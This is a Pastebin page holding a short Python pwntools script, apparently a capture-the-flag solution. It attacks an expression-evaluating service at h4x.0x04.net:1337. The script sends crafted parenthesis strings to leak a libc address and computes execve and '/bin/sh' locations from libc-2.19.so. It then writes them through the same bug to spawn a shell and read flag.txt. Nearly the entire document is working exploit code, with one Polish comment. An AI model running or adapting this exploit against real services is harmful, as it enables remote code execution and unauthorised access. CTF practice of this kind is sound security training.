Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
76
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.13 KB | None | 0 0
  1. # -*- coding: utf-8 -*-
  2. import pwn
  3. def unsign(address):
  4.     return int(address) if int(address) > 0 else int(address) + 2**32
  5. c = pwn.connect('h4x.0x04.net', 1337)
  6.  
  7. libc_hack = '(' * 31 + '+' + '((0+(((+' + 35 * ')'
  8. c.sendline(libc_hack)
  9. libc_adr = c.recvline()
  10. libc_adr = unsign(libc_adr)
  11.  
  12. libc_local_pwned = pwn.ELF('libc-2.19.so')
  13. libc_start_pos = libc_local_pwned.symbols['__libc_start_main']
  14. execve_pos = libc_local_pwned.symbols['execve']
  15. binsh_pos = list(libc_local_pwned.search('/bin/sh'))[0]
  16. libc_server = libc_adr - 243 - libc_start_pos
  17.  
  18. # Z serwera wyciągnęlismy adres libc_start_main przesunięty o 243
  19.  
  20. execve_server = unsign(libc_server + execve_pos)
  21. binsh_server = unsign(libc_server + binsh_pos)
  22.  
  23. shellhack = '(' * 31 + '+' + '(((+(((' + str(0) + ')' * 35 + '\n'
  24. shellhack += '(' * 31 + '+' + '(((+((' + str(0) + ')' * 34 + '\n'
  25. shellhack += '(' * 31 + '+' + '(((+(' + str(binsh_server) + ')' * 33 + '\n'
  26. shellhack += '(' * 31 + '+' + '(((+' + str(0) + ')' * 32 + '\n'
  27. shellhack += '(' * 31 + '+' + '(((' + str(execve_server) + ')' * 33 + '\n'
  28.  
  29. c.sendline(shellhack)
  30. c.sendline('cat flag.txt\n')
  31. c.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement